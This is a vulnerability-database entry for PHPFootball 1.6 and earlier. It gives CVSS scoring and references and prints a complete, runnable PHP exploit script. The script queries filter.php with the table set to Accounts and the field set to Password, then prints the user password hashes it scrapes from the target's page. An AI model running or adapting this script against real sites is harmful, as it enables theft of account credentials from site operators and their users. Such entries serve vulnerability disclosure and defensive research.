PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit

2009.02.25
Credit: KinG-LioN
Risk: High
Local: No
Remote: No
CWE: CWE-89


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

<?php // http://garr.dl.sourceforge.net/sourceforge/phpfootball/PHPfootball1.6.zip $host = $argv[1]; $path = $argv[2]; if ($argc != 3) { echo "PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit\n"; echo "by KinG-LioN - http://eurohackers.it\n"; echo "Usage: php {$argv[0]} <host> <path>\n"; exit; } else { $head .= "GET /{$path}/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: {$host}\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen ($host,80); fputs ($fsock,$head); while (!feof($fsock)) { $cont .= fgets($fsock); } fclose($fsock); if (preg_match_all("/<td class=td>(.+?)<\/td>/",$cont,$i)) { print_r($i[1]); } else { die ("exploit error\n"); } } ?>

References:

http://www.osvdb.org/51102
http://www.milw0rm.com/exploits/7636
http://secunia.com/advisories/33367


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top